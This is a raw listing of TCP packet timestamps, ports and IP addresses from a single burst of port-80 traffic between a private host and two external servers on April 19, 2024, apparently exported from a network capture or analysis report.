Apr 19, 2024 03:29:08.496524096 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.496562004 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.496577978 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.496602058 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.496629953 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.496661901 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.496669054 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.496706963 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.496707916 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.496707916 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.496746063 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.496753931 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.496784925 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.496823072 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.496829987 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.496860027 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.496896029 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.496901035 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.496901035 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.496933937 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.496936083 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.496973038 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.497010946 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.497013092 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.497050047 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.497051954 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.497051954 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.497087955 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.497088909 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.497128010 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.497155905 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.497165918 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.497203112 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.497208118 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.497241020 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.497253895 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.497253895 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.497277975 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.497315884 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.497369051 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.497369051 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.497369051 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.569452047 CEST	80	49718	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:08.573810101 CEST	80	49718	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:08.573874950 CEST	49718	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:08.717335939 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.717396021 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.717436075 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.717461109 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.717508078 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.727972984 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.728037119 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.728091955 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.728121042 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.728121996 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.728166103 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.728230000 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.728235006 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.728269100 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.728279114 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.728308916 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.728313923 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.728349924 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.728368998 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.728387117 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.728435993 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.728435993 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.730964899 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.731102943 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.731106043 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.731153011 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.733125925 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.733165979 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.733269930 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.733298063 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.733298063 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.733339071 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.733341932 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.733401060 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.733628035 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.733666897 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.733705997 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.733709097 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.733709097 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.733747005 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.733787060 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.733797073 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.733798027 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.733825922 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.733831882 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.733921051 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.736207008 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.736340046 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.736345053 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.736423969 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.736464977 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.736746073 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.740355968 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.740400076 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.740417957 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.740437984 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.740475893 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.740478992 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.740497112 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.740533113 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.740583897 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.740622044 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.740725994 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.740725994 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.741029024 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.741257906 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.741260052 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.741302967 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.741338015 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.741341114 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.741379976 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.741416931 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.741455078 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.741460085 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.741460085 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.741461039 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.741461039 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.741492987 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.741530895 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.741569042 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.741580009 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.741580009 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.741580009 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.741606951 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.741647005 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.741651058 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.741688967 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.741725922 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.741728067 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.741728067 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.741765976 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.741805077 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.741842031 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.741878986 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.741883993 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.741883993 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.741883993 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.741909981 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.741919994 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.741949081 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.741961956 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.742000103 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.742001057 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.742042065 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.742079973 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.742116928 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.742135048 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.742135048 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.742135048 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.742156982 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.742193937 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.742233992 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.742238045 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.742271900 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.742275000 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.742290974 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.742311001 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.742336988 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.742347002 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.742387056 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.742424011 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.742434025 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.742434025 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.742434025 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.742463112 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.742501020 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.742685080 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.742685080 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.742685080 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.960925102 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.960978985 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.961009026 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.961021900 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.961046934 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.961152077 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.971508980 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.971550941 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.971590042 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.971594095 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.971594095 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.971687078 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.971705914 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.971748114 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.971777916 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.971786976 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.971828938 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.971844912 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.971844912 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.971869946 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.971908092 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.971967936 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.971968889 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.972121954 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.974343061 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.974421024 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.976439953 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.976480961 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.976547956 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.976567030 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.976596117 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.976607084 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.976648092 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.976648092 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.976847887 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.976887941 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.976927042 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.976958990 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.976985931 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.977030039 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.977067947 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.977109909 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.977118969 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.977118969 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.977195024 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.979418993 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.979723930 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.979746103 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.979763985 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.979801893 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.979842901 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.979842901 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.983760118 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.983803034 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.983829021 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.983863115 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.983865976 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.983906031 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.983946085 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.983947039 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.983947039 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.984036922 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.985611916 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.985657930 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.985697985 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.985697985 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.985739946 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.985739946 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.985740900 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.985780954 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.985821009 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.985857964 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.985863924 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.985863924 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.985898018 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.985939980 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.985979080 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.985992908 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.986016035 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.986016989 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.986059904 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.986061096 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.986099958 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.986121893 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.986140966 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.986156940 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.986182928 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.986221075 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.986226082 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.986226082 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.986262083 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.986300945 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.986337900 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.986337900 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.986341000 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.986380100 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.986381054 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.986381054 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.986422062 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.986422062 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.986460924 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.986486912 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.986500025 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.986536980 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.986537933 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.986546993 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.986579895 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.986673117 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.986711025 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.986751080 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.986761093 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.986761093 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.986761093 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.986761093 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.986789942 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.986803055 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.986831903 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.986869097 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.986877918 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.986884117 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.986917973 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.986941099 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.986957073 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.986994028 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.986998081 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.987025976 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.987036943 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:08.987067938 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:08.987226963 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.204298973 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.204353094 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.204391956 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.204396963 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.204428911 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.204428911 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.214976072 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.215017080 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.215054989 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.215065002 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.215065002 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.215092897 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.215126991 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.215131044 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.215168953 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.215195894 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.215204954 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.215224028 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.215244055 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.215267897 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.215282917 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.215328932 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.215328932 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.217653036 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.218471050 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.219700098 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.219741106 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.219778061 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.219818115 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.219818115 CEST	49715	80	192.168.2.5	193.233.132.167
